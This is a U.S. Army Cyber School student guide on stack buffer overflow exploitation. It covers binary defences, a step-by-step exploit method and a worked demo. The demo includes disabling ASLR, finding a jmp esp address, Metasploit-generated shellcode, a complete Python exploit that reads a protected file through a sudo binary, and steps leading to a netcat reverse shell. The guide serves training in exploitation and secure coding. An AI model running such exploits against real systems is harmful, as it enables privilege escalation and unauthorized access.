# Exploit Development

U.S. Army Cyber School

DEFEND ATTACK EXPLOIT

Version Date: 24 SEP 2018

Student Guide Printable Format

# Skills and Objectives

Section 2: Determining Binary Behavior

# Table of Contents

# Functional Exploitation

**Outcome**:

- Find incorrectly configured portions of applications
- Author scripts to exploit poor configuration/function

In modern operating systems, each process runs using memory management provided by the operating system and processor. This is quite complex and is beyond the scope of this document. In a nutshell, the program will be given virtual memory space. In this memory space, it will have the ability to allocated memory in the heap if desired. The program will be allocated a portion of the provided virtual memory space for the stack.

While a program is running it is performing computations, fetching/storing items in memory and on the stack. Typically, computations occur in the registers. When it is necessary to execute a function, the state of the environment is saved so that when the invoked function completes, the environment can be restored to what it was before calling the function so that processing can continue unabated. Part of the state of the environment are the contents of registers. For example, when calling a function, the contents of the IP will change as the execution path changes to access instructions outside of the main function. When the invoked function completes, processing must return back to where the main function left off. For this to happen, it is required that the contents of IP be restored so that it can continue execution at the point where it left the main function.

## Stack Operational Terms

`Heap` – memory that can be allocated and deallocated as needed.

`Stack` – a contiguous section of memory used for passing arguments to other functions and general housekeeping.

`Registers` – Storage elements as close as possible to the central processing unit (CPU). There are many uses and types of registers, but in simple terms, general purpose registers can be used for whatever function is desired, that is fetching the contents of something from memory and placing it in the register for some computation/comparison, or special purpose registers such as the Instruction Pointer (IP), or Stack Pointer (SP) which are discussed below.

`Instruction Pointer (IP)` – (AKA Program Counter (PC) contains the address of next instruction to be executed. When the instruction is executed, it increments to the next instruction unless the instruction transfers control to another location by replacing the contents of the IP with the address of the next command to be executed through the process of jumping, calling, or returning.

`Stack Pointer (SP)` – Contains the address of the next available space on the stack. The x86 architecture utilizes a top-down stack. When an item is saved on the stack (using a push command), it will be placed in the location addressed by the SP, after which, the SP will be decremented. When an item is fetched from the stack (using a pop instruction), the SP is decremented and then the item is retrieved from the address pointed to by the SP.

`Base Pointer (BP)` – The base of the stack. Used to ensure that items placed on the stack can be referenced using an offset relative to the BP. Because each function is provided a portion of the stack, it can be used to ensure that the function does not address items outside the bounds of their area on the stack. When there is nothing on the stack the BP will equal SP.

`Function` - Code that is separate from the main program that is often used to replace code the repeats in order to make the program smaller and more efficient. Functions can be written within the program or can exist outside of the main program through the processing of linking (accessing code outside the main program). When a function allocates space for variables, those variables are placed on the stack, so when the function completes and returns back to the calling function, access to those.

`Shellcode` – The code that is executed once an exploit successfully takes advantage of a vulnerability. Shellcode often provides a `shell` to the actor, but it doesn’t have to. Whatever the intended effect is, is written in the shellcode.

The terms `IP, BP, SP, etc` are used in this document. Register names are different depending on the x86 architecture. IP, BP, SP are used for 16 bit. The register names are prefixed with the letter `E‘ for` extended `which signifies 32 bit architecture. The letter` R’ for `register` prefixes register names for a 64 bit architecture.

| | |
|---|---|
| **NOTE** | This document discusses using code compiled for `32 bit`, but the concepts are applicable to all architectures |

# Binary Exploitation

### Common types of memory exploits

- Heap Overflow
- Buffer Overflow

| | |
|---|---|
| **IMPORTANT** | The main goal of these exploits is to redirect flow of execution. This can be to injected shell code or things that are already running in memory. |

## Binary Defenses

### Non executable (NX) stack

For this buffer overflow example to work requires that the shellcode be placed on the stack. There should never be executable code on the stack, so marking the allocated memory for the stack as non-executable is prudent. Typically, by default, the compiler ensures that the code is compiled to prevent execution of code on the stack. If your desire is to override this behavior, for example to create code to demonstrate a buffer overflow, then, on Linux, pass the `execstack` option to the linker. This can be done by using `-z execstack` in gcc.

### Address Space Layout Randomization (ASLR)

ASLR is a mechanism that pseudo-randomizes the memory addresses of the stack, running processes and shared objects in memory. Addresses are subject to change each time the program is executed and since the buffer overflow example above relies predicting the value of the IP, implementing ASLR will reduce the reliability of the buffer overflow exploit so that is is very likely that it will fail.

Unlike other protections that part of the executable and are implemented at compile time, ASLR is a function of the kernel and it can be viewed or manipulated by this pseudo file in proc:

```
/proc/sys/kernel/randomize_va_space
```

The following values are supported:

```
   0 ▯ No randomization. Everything is static. (needed for the above demo)
   1 ▯ Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are
randomized.
   2 ▯ Full randomization. In addition to elements listed in the previous point,
memory managed through brk() is also randomized.
```

You can view its current value by using cat to display its contents:

```
cat /proc/sys/kernel/randomize_va_space
```

You can set its value by using echo and redirection to overwrite its previous contents:

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

### Data Execution Prevention (DEP)

Data is data, and not code and should never execute. The stack is designed to hold data. Code should never execute within the region allocated for the stack. The stack is meant to maintain the contents of variables, registers, etc. and perform general housekeeping for the program. The stack should never be used to place or execute code. The -z noexecstack option with gcc passes this option to the linker which marks the area of memory occupied by the stack as non-executable and an attempt to change the IP to that area will result in a segmentation fault.

**Stack Canaries**

When performing a buffer overflow, you are writing over areas of the stack that has been allocated and . The gcc option `-fstack-protector`, enabled by default on modern distributions, adds extra code which interleaves values within stack without affecting the items on the stack so if any of these interleaved items are overwritten, the program will halt and you will see a `stack smashing` error. Stack Canaries create these interleaved values at run-time so they change each time the program is executed which adds to the complexity of subverting them.

**Position Independent Executable (PIE)**

PIE code pseudo-randomizes all sections of the code to maximize protections against buffer overflows.

PIE is set by compiling the program with using the `-fPIE` option. Many modern Linux distributions set this by default, but it can be forced by using the option `-no-pie`.

# Buffer Overflow

## Buffer Overflow Process

1. Analyze the program
    a. `Static analysis` – Analyze without execution.
        i. This can produce a lot of information such as:
            A. architecture
            B. program usage
            C. obfuscation techniques, etc…
        ii. Run the `file` command
            A. Identify the following items:
                I. Windows, Linux, 32-bit, 64-bit, etc
                II. Statically/dynamically linked
                III. debugging info (stripped/not stripped)
                IV. BuildID (an identifier added during the linking process)
                V. It is typically used for debug purposes as it allows developers to identify the exact program build in case they are working with multiple versions
        iii. Run the `strings` command
            A. Embedded help
            B. error messages

      C. other string items

      D. Can also expose packed binaries (i.e. UPX!).

   iv. `Disassemble` - With additional analysis, you can break down program functionality with `objdump -d`

   v. `Decompile` - Ghidra has some ability to decompile code which can make code analysis less daunting than analyzing the assembler code produced by disassemblers

   vi. `ldd` - list shared object dependencies which can give an idea of the functionality of the program, can also determine if the binary is statically linked by the message `not a dynamic executable`

   vii. `hashing` - Hash and lookup in database of previously reported samples

   viii. `Submit to analysis engine` - Check Service/Agency Policies to avoid release of classified capabilities and/or allowing threat actors to track their work in the wild

   ix. `Symbols and sections` - Linux `readelf -s`, `readelf -S`, `objdump -s -j .rodata filename`

      A. outputs the read-only text

b. `Dynamic analysis` – Analyze by the program by executing the program. If the program has the potential to self propagate, then care has to be taken prevent this from occurring outside the test environment.

   i. Baseline comparison – takes a snapshot of the system before and after execution. This can find persistence by `registry keys`, `startup programs`, etc… using tools like `regshot`, `sandboxie/sandboxdiff`.

   ii. Network analysis

      A. Looks for command and control (C&C), second stage, etc. Sometimes this takes additional software to mimic what the analyzed software expects so that it will expose its true functionality. Use tools like `Wireshark`, `tcpdump`, `inetsim`, `python`

   iii. Process and system call activity – Examine process activity to reveal the functionality of the program. Use tools such as `strace` (system call trace), `ltrace` (shared object call trace).

c. `Memory analysis` – Although memory analysis appears to be part of dynamic analysis, it is different in the fact that tools are used to break apart and inspect memory as seen outside of the operating system while the program is active. This gives a raw and true representation of what is occurring as some programs that have rootkit functionality are difficult to correctly analyze on an active system. Memory analysis tools such as Volatility or Rekall can be used to perform memory analysis using a memory snapshot. Because they use a memory snapshot, they are unable to perform real-time activity. If the operating system is running under a hypervisor, then introspection may be possible if the hypervisor supports it. Introspection is the ability to examine the inner details of the virtualized environment through the hypervisor. With this, you can get real-time activity of the virtualized environment. There are techniques where you can access the memory using a bus with Direct Memory Access (DMA) such as IEEE 1394 FireWire. With this technique you can obtain real-time memory information on a running system. The downside to having a bus that provides DMA to memory is that it can also be used nefariously to obtain passwords and confidential information. Memory analysis can expose the following:

   i. Running processes

    ii. Network connections
    iii. Shared libraries
    iv. Kernel modules
    v. Hooking – intercepting function calls, messages, events
    vi. Code injection – inject code to alter the execution path
    vii. Rootkit detection
    viii. Discover other hidden artifacts

2. After performing basic analysis of the program, determining how you will interact with the program is often relatively straight forward. If it has a listening port, then you can send input/commands using tools like netcat or bash sockets. If it is a command line program that has interactive prompts, then interacting or fuzzing the program locally may be all that is required. This step could take some effort and to document every possible way to interact with the program is futile.

3. Configure the environment determined in step 2 and install necessary tools to assist in interacting with or fuzzing the program (i.e. netcat, python, etc).

4. Utilizing information gathered, fuzz the binary with different values and lengths of values to determine if you can create a segmentation fault. If you produce a general protection fault, reduce the length of values and attempt to get it to create a segmentation fault. A general protection fault can occur when stomping on kernel space virtual memory. On 64-bit systems, user-space virtual memory is allocated and locked using the lower 47 bits of the address; therefore, it is limited to the address range of `0x0` to `0x7fffffffffff`. If the **instruction pointer (IP)** is greater than `0x7fffffffffff`, you will get a general protection fault, and your buffer overflow attempt will fail. A segmentation fault occurs when the program attempts to access memory that hasn't been allocated or is not allowed to access within the boundaries of the virtual memory assigned to it.

5. If you can successfully generate a segmentation fault, determine the quantity of characters until the IP is overwritten. To do this, you can create your own pattern and then calculate the offset based on the characters in the input that overwrote `IP`. There are freely available tools that provide this functionality such as `Metasploit’s pattern-create.rb`, the **GNU debugger (gdb) plugin** `peda` running the command `pattern create`, and the **Immunity Debugger plugin** `mona` running the command `pattern_create`, or a locally developed tool `/sec_tools/patternManager.py` can be used to generate the input pattern.

6. Run the exploitable binary in a debugger and send the newly generated pattern as input in the same way you fuzzed it.

7. When the debugger stops, view the contents in the `IP`. The `IP` should contain a portion of values from the pattern it generated for you in Step 5. Input this value into the companion program or command that you used to create the pattern. Metasploit's companion tool is `pattern_offset.py`, the **GNU debugger (gdb) plugin** `peda` running the command `pattern offset`, and the **Immunity Debugger plugin** `mona` running the command `pattern_offset`, or the locally developed `/sec_tools/patternManager.py` command provides a dual purpose of also determining the offset. `(Be sure to use the companion program from the same suite as they are not compatible with each other)`

8. Modify your exploit assembly script to create a file with the following using the pattern offset

determined in the previous step: `A * pattern_offset + B*4`

9. Rerun the binary in the debugger and read the input created above.
10. Check to make sure that the EIP contains all `B`'s (`hex 0x42`). If it does not, change the value of your pattern_offset and rerun the binary until the EIP contains all `B`'s.
11. After you have confirmed your offset, rerun your debugger and determine the value of the IP to execute injected shell code. In most cases, your shellcode will immediately follow the overwritten IP, You can also find vulnerable portions of the binary that can be used to execute the shellcode based on register contents.
12. To use registers contents to alter the code path, use tools such as Metasploit's `msfpescan` to search Windows executables, and `msfelfscan` to search Linux executables. If you are using Immunity and mona, then you can use the `jmp` command to find code that can be repurposed to execute the injected shellcode on the stack. If you are using the **GNU debugger (gdb) plugin** `peda`, then you can use the `jmpcall` command to find code to repurpose in order to execute the injected shellcode.
13. Once you find the address of where your shellcode resides on the stack or the address of the code you will repurpose to jump to the contents of that register, replaces the B's from the attack script with that address.
14. Rerun the debugger and test your attack script. Make sure the EIP is filled with the memory address you added to your attack script.
15. Check for bad characters by passing all possible characters that can be passed to the program, evaluate the results, and take note of characters than cannot be processed. You may have to create a file to read it, or redirect to the program.
16. Using **MSVenom**, enter known `bad characters` and develop shellcode to inject into the attacked binary.
17. Modify attack script to incorporate the shellcode to look like: `A * pattern_offset + mem_address + exploit`
18. You may need to add padding in the for m of NOPs. In this case your attack script will need to add them between the return address and exploit: `shellcode A * pattern_offset + mem_address + "0x90"*32 + exploit`
19. Launch the binary without the debugger. Launch a netcat listener according to how you created your payload. Launch your attack script.
20. Your NC listener should now be connected to a remote shell on the exploited box.

**IMPORTANT**

Programs runs under a security context, and when exploiting the program the highest access you will get is that security context. If the security context of the program you are attempting to exploit doesn't provide any value, then you shouldn't waste your time.

Test your buffer overflow exploit in an environment which mimics that of the target system. Buffer overflows are very finicky and different OS version, libraries, running programs, etc, can potentially cause it fail.

You have to consider that during compilation from `C Source Code` to `Machine Code`, it will likely be different from system to system. There are types and versions of compilers, compiler optimization settings, and processor features that can cause the compiler to change the code to fit the specifications of that system and what features are requested.

## DEMO: Buffer Overflow using gdb and env

**IMPORTANT** Ensure your environment is prepped for exploit development by installing `gcc`, `libc6-dev-i386`, and `metasploit` for `shellcode` generation:

**Situation**:

An unpriveleged user is on a Lnux host. ASLR is disabled, GDB is installed, and the user has sudo access to one binary on the system: /demo/func.

**Initial Analysis**:

Initial analysis for vulnerabilities can be performed with GDB or Ghidra.

If we extract it to an ops station with Reverse engineering tools in place, perform the normal process. You will determine how it executes, while maintaining an eye for known vulnerable functions such as strcpy() and gets(), and looking to see if protections like stack canaries are implemented.

The same goes for gdb. When disassembling portions of the program, we must keep an eye out for vulnerable functions and binary protections.

**Demo for initial analysis with gdb**:

```
root@linux-opstation-pkbk:/demo# gdb func
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git

disass main
Dump of assembler code for function main:
   0x000005c0 <+0>:   lea    ecx,[esp+0x4]
   0x000005c4 <+4>:   and    esp,0xfffffff0
   0x000005c7 <+7>:   push   DWORD PTR [ecx-0x4]
   0x000005ca <+10>:  push   ebp
   0x000005cb <+11>:  mov    ebp,esp
   0x000005cd <+13>:  push   ecx
   0x000005ce <+14>:  sub    esp,0x4
   0x000005d1 <+17>:  call   0x623 <__x86.get_pc_thunk.ax>
   0x000005d6 <+22>:  add    eax,0x1a2a
   0x000005db <+27>:  call   0x5ea <getuserinput>
   0x000005e0 <+32>:  nop
   0x000005e1 <+33>:  add    esp,0x4
   0x000005e4 <+36>:  pop    ecx
   0x000005e5 <+37>:  pop    ebp
   0x000005e6 <+38>:  lea    esp,[ecx-0x4]
   0x000005e9 <+41>:  ret
End of assembler dump.

disass getuserinput
Dump of assembler code for function getuserinput:
   0x000005ea <+0>:   push   ebp
   0x000005eb <+1>:   mov    ebp,esp
   0x000005ed <+3>:   push   ebx
   0x000005ee <+4>:   sub    esp,0x44
   0x000005f1 <+7>:   call   0x490 <__x86.get_pc_thunk.bx>
   0x000005f6 <+12>:  add    ebx,0x1a0a
   0x000005fc <+18>:  sub    esp,0xc
   0x000005ff <+21>:  lea    eax,[ebx-0x1950]
   0x00000605 <+27>:  push   eax
   0x00000606 <+28>:  call   0x420 <puts@plt>
   0x0000060b <+33>:  add    esp,0x10
   0x0000060e <+36>:  sub    esp,0xc
   0x00000611 <+39>:  lea    eax,[ebp-0x3a]
   0x00000614 <+42>:  push   eax
   0x00000615 <+43>:  call   0x410 <gets@plt>
   0x0000061a <+48>:  add    esp,0x10
   0x0000061d <+51>:  nop
   0x0000061e <+52>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x00000621 <+55>:  leave
   0x00000622 <+56>:  ret
End of assembler dump.
```

We can see on line at memory address 0x00000615 there is a call to gets().

Using the command 'pdisass' instead of 'disass' will have the peda plugin highlight known vulnerable functions with red text. If there are multiple vulnerable functions used in a program, you may need to determine which of them you will be exploiting.

Gets() does not null-terminate the values passed to it at the end of its buffer space. This allows for the buffer space allocated to gets() to be "overflowed", thereby overwriting the instruction pointer register and putting executable shellcode into memory.

There are no calls to any segmentation registers around the getuserinput() function. The segmentation registers are what generate and hold stack canaries. Without a call to one of them (%cs,%gs,etc) we can assume that there are no stack canaries protecting the binary.

We can see the buffer that is set for gets() is up to 68/0x44 bytes in "0x000005ee <+4>: sub esp,0x44". This sub instruction is creating room on the stack, but that will potentially incorporate space for other variables, as well. With such a small buffer size, we can quickly test for a segmenation fault then fuzz inside of gdb to determine the exact size to overflow the buffer and overwrite the instruction pointer ($eip)

```
root@linux-opstation-pkbk:/demo#./func
Enter a string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
Segmentation fault
```

Successful seg fault proves that we can overflow the buffer without getting a stack smashing detection error that we would if stack canaries were present.

Create a small enough input that you do not get a seg fault.

```
root@linux-opstation-pkbk:/demo# gdb func
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.

run
Starting program: /demo/func
Enter a string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 4413) exited with code 0276]
Warning: not running
```

Next, continue slowly adding A's onto your input until you seg fault again.

```
run
Starting program: /demo/func
Enter a string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
```

Now that you have the buffer that seg faults, add 4 B's to the end. This should completely overwrite the $eip with the hex value of B which is 42. If it does not, then add or remove A's until it does.

```
run
Starting program: /demo/func
Enter a string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
[2J[H[----------------------------------registers-----------------------------------]
[mEAX: 0xffffeddf
```

```
EBX: 0x1
ECX: 0xfbad2288
EDX: 0x0
ESI: 0x1
EDI: 0xf7fb8000 --> 0x1b3db0
EIP: 0x42424242 ('BBBB')
```

We can now take this input string and begin crafting our exploit code.

/tmp/exploit.py

```
buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

EIP = "BBBB"

nop = '\x90' * 5

print(buffer + eip + nop)
```

We added a nop sled here so that when the program crashes next time, we can look on the stack and ensure that our 5 nop's were added.

Let's run this in gdb to test it out.

```
run <<< $(python demo_attack.py)
Starting program: /demo/func <<< $(python /tmp/exploit.py)
Enter a string:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
[mEAX: 0xffffdbbe ('A' <repeats 58 times>,
"\374\333\377\377\220\220\220\220\220\220\220\220\220\220")
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad2088
EDX: 0xf7fb987c --> 0x0
ESI: 0x1
EDI: 0xf7fb8000 --> 0x1b3db0
EBP: 0xffffdbfc --> 0x90909090
ESP: 0xffffdc00 --> 0x90909090
EIP: 0x90909090
[mEFLAGS: 0x10282 (carry parity adjust zero 1;31mSIGN trap 1;31mINTERRUPT direction
overflow)
[m[-------------------------------------code-------------------------------------]
31mInvalid $PC address: 0x90909090
[m[------------------------------------stack-------------------------------------]
[m0000| 0xffffdc00 --> 0x90909090
```

We redirected the output of our exploit.py into the target binary, received a seg fault, and successfully placed our NOPs on the stack. We must now find a way to get back to the top of the stack where our nop sled and eventual shell code will be sitting.

We have a few options:
1. Find a leave instruction - sometimes reliable
2. Find a jmp esp instruction - very reliable
3. Point directly to the top of our stack - unreliable

Our tactic will be to find "jmp esp".

Get back into gdb, but this time we will be using "env" to create an environment the same as our execution environment. That means that we will have the same memory addresses and offsets in gdb as when our binary executes. To do so:

```
root@linux# env - gdb func
```

GDB will still add two variables that we need to unset.

```
show env
env LINES = 12
env COLUMNS = 10

unset env LINES
unset env COLUMNS

show env
```

These variables will change the memory offsets of your gdb environment, so you must unset them every time you start up gdb under env.

We must still find jmp esp. We’ll search through memory for the instruction, but first we must find out our memory bounds.

First we need to run the program (in gdb) and either crash it with a bunch of "A"'s or press CTL-c to stop program execution. This loads the program in memory and from there we can look at memory addresses.

Once program has crashed or stopped running run the following command:

```
info proc map
```

This will return a massive range of potential memory addresses to search through.

```
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
    0x56555000 0x56556000     0x1000        0x0 /home/student/func
    0x56556000 0x56557000     0x1000        0x0 /home/student/func
    0x56557000 0x56558000     0x1000     0x1000 /home/student/func
    0x56558000 0x5657a000    0x22000        0x0 [heap]
    0xf7de2000 0xf7fb4000   0x1d2000        0x0 /lib32/libc-2.27.so
    0xf7fb4000 0xf7fb5000     0x1000   0x1d2000 /lib32/libc-2.27.so
    0xf7fb5000 0xf7fb7000     0x2000   0x1d2000 /lib32/libc-2.27.so
    0xf7fb7000 0xf7fb8000     0x1000   0x1d4000 /lib32/libc-2.27.so
    0xf7fb8000 0xf7fbb000     0x3000        0x0
    0xf7fcf000 0xf7fd1000     0x2000        0x0
    0xf7fd1000 0xf7fd4000     0x3000        0x0 [vvar]
    0xf7fd4000 0xf7fd6000     0x2000        0x0 [vdso]
    0xf7fd6000 0xf7ffc000    0x26000        0x0 /lib32/ld-2.27.so
    0xf7ffc000 0xf7ffd000     0x1000    0x25000 /lib32/ld-2.27.so
    0xf7ffd000 0xf7ffe000     0x1000    0x26000 /lib32/ld-2.27.so
    0xfffdd000 0xffffe000    0x21000        0x0 [stack]
```

No that we have the memory layout for this program we need to select a start and end to search through for a "jmp esp". In order to do that we take the start address after the heap and the end address before the stack.

**NOTE** Just taking the start and end address of the first line after the heap is sufficient, but it can be easier to remember we are looking at the memory between the heap and stack.

To search for "jmp esp" run the command:

```
find /b 0xf7de2000 , 0xf7ffe000, 0xff, 0xe4
```

**IMPORTANT** The start and end address can be different based on the program and the system that program executes on. The 0xff and 0xe4 does not change.

This command searches for the opcodes ff e4 in the memory range provided. These op codes equate to "jmp esp".

The shown memory addresses are approximate. They will change depending on the machine.

This command should return a ton of memory addresses. Choose the 2nd or 3rd memory address and copy it into your exploit code. Remember that we are on a little endian cpu architecture, so hex for the memory address will have to be submitted in reverse.

exploit.py

```
buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

#eip = "BBBB"
#jmp esp = 0xff77aabb

eip = "\xbb\xaa\x77\xff"
```

```
nop = '\x90' * 5

print(buffer + eip + nop)
```

Run this in and ensure that the ESP contains all \x90’s when it crashes. This will mean that your memory address returned the flow of execution to the top of the stack where you nop sled was loaded.

**Remember to run gdb through env and unset LINES and COLUMNS.**

Once this is true we can generate some shell code to take advantage of our sudo permissions.

Launch MetaSploit with "msfconsole"

Let’s select a payload for a proof of concept. We are exploiting an x86 32 bit program on a Linux machine. "Linux/x86/exec" should execute whatever we want.

```
use payload/linux/x86/exec
```

"show options" will allow us to view what we can set.

```
show options
Module options (payload/linux/x86/exec):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute
```

linux/x86/exec only takes a CMD option that is the command you want to run. Let’s set that to 'cat users' since that is a protected file in the same directory as the binary.

```
set CMD cat users

generate -b "\x00" -f python
# linux/x86/exec - 72 bytes
# https://metasploit.com/
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, MeterpreterDebugLevel=0,
# RemoteMeterpreterDebugFile=, CMD=cat users
buf =  b""
buf += b"\xba\xaa\x14\x57\xbb\xdb\xc7\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x0c\x83\xc6\x04\x31\x56\x0f\x03\x56\xa5\xf6"
buf += b"\xa2\xd1\xb2\xae\xd5\x74\xa2\x26\xcb\x1b\xa3\x50\x7b"
buf += b"\xf3\xc0\xf6\x7c\x63\x09\x65\x14\x1d\xdc\x8a\xb4\x09"
buf += b"\xd4\x4c\x39\xca\x8b\x2d\x4d\xea\x3e\xdd\xc8\x98\xb3"
buf += b"\x21\x44\x0e\xba\xc3\xa7\x30"
```

After the options were set, we generated shell code that we can now copy and paste into our python exploit script.
'-b' allowed us to enter bad characters. We'll start with just x00 for now because that one is always bad since it is a null-terminator and will stop exeecutino of our shellcode. We can test for more bad characters later if needed.
'-f python' just gave us a byte string array that we could directly use in a python script.

our new exploit script looks like:

exploit.py

```
buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

#eip = "BBBB"
#jmp esp = 0xff77aabb

eip = "\xbb\xaa\x77\xff"

nop = '\x90' * 5

buf =  b""
buf += b"\xba\xaa\x14\x57\xbb\xdb\xc7\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x0c\x83\xc6\x04\x31\x56\x0f\x03\x56\xa5\xf6"
buf += b"\xa2\xd1\xb2\xae\xd5\x74\xa2\x26\xcb\x1b\xa3\x50\x7b"
buf += b"\xf3\xc0\xf6\x7c\x63\x09\x65\x14\x1d\xdc\x8a\xb4\x09"
buf += b"\xd4\x4c\x39\xca\x8b\x2d\x4d\xea\x3e\xdd\xc8\x98\xb3"
buf += b"\x21\x44\x0e\xba\xc3\xa7\x30"


print(buffer + eip + nop + buf)
```

If we take this exploit and run it through gdb, we will get some kind of error other than a seg fault as we do not have sudo permissions on gdb.

Let's test this out on the live sudo binary, though.

```
user1@linux$ cat users
Permission denied.

user1@linux$ sudo ./func <<< $(python /tmp/exploit.py)
You've read this protected file.
```

Success!

If this failed, check the previous steps and regenerate your shell code.

## Determining vulnerable fuctions

Programs take input in many different ways. The functions and methods used in the program dictate how the program reads input. Reading the code, determining the vulnerable function(s), and sending the exploit to the vulnerable program in the way it anticipates the input is essential.

Functions that are susceptible to buffer overflows typically have no boundary checking. For example the function `gets()` reads from standard input and continues to read until the end of the line or end of file. There is no argument in the command that specifies a character limit so the person at the keyboard is in complete control of overflowing the buffer. This function should never be used in a production program.

A solution is to replace vulnerable functions with ones that perform boundary checking. Here are some of the vulnerable functions and substitutes to use in their place.

```
gets() -> fgets()
strcpy() -> strncpy()
strcat() -> strncat()
sprintf() -> snprintf()
```

Even when functions that perform proper boundary checking are used, there is still a potential for buffer overflows. For example, using the following code snippet:

```
char buffer[50];
fgets(buffer, 150, stdin);
```

Although the `fgets()` function requires an argument so that is performs boundary checking, in this example 150 characters, the specified buffer is only 50 characters so there is a potential for a buffer overflow. In this case the problem isn't caused by using a vulnerable function, but caused by a negligent programmer.

Finding the vulnerable function is relatively simple if provided the source code, but if not a disassembler/decompiler such as `ghidra` can be used. On Linux/UNIX the program can also be executed with `ltrace` and the function calls will be displayed as the program executes. The `ltrace` command can be executed with the name of the executable as an argument, or be supplied the `-p` option followed by the process-id of the running program. Example output from `ltrace`:

```
ferror(0x7faed047b560)                                                    = 0
strcmp("saved_fifos", "saved_fifos")                                      = 0
strcmp("PIPESTATUS", "PIPESTATUS")                                        = 0
free(0x563db48f12f0)                                                      = <void>
```

```
strlen("0")                                                    = 1
malloc(2)                                                      =
0x563db48f12f0
strcpy(0x563db48f12f0, "0")                                    =
0x563db48f12f0
strcmp("_", "_")
```

For the non-savvy programmer, it may take some research to determine which function is vulnerable. If finding a function that is potentially susceptible to a buffer overflow, doesn't mean that it is. It must be investigated further to determine if it is implemented in such a way that may cause a buffer overflow. For example, using the following code block similar to the previous:

```
char buffer[150];
fgets(buffer, 150, stdin);
```

Although the `fgets()` function can be implemented in a way to cause a buffer overflow, in this example, it is implemented properly as it will read up to one less that the specified size and replace the newline with a null byte.

## Sending the exploit to the program

The functions and methods used in the program will dictate how the send the exploit to the program. Once the exploit is generated, sending the exploit to the vulnerable program must be done in a way to ensure that the raw binary isn't altered as it is passed to the vulnerable input of the program.

The function `gets()` accepts its input from standard input. The `fgets()` can get its input from any file descriptor including standard input. Functions such as `strcat()` and `strcpy()` append or copy from one buffer to another up until the terminating null byte so the source string can come from a variety of methods.

If the vulnerable input to the program accepts its input via standard input, then redirection is the way to get the exploit to the program.

```
vulnerable-program < exploit-file
```

If the vulnerable input to the program is taken from a command line argument, then it can be passed using the following in bash:

```
vulnerable-program $(cat exploit-file)
```

If the vulnerable input to the program is taken from a via a network socket, then it can be passed using the following in bash:

```
cat exploit-file | nc IP-address port
```

These are only a few typical examples of getting the exploit to the vulnerable program.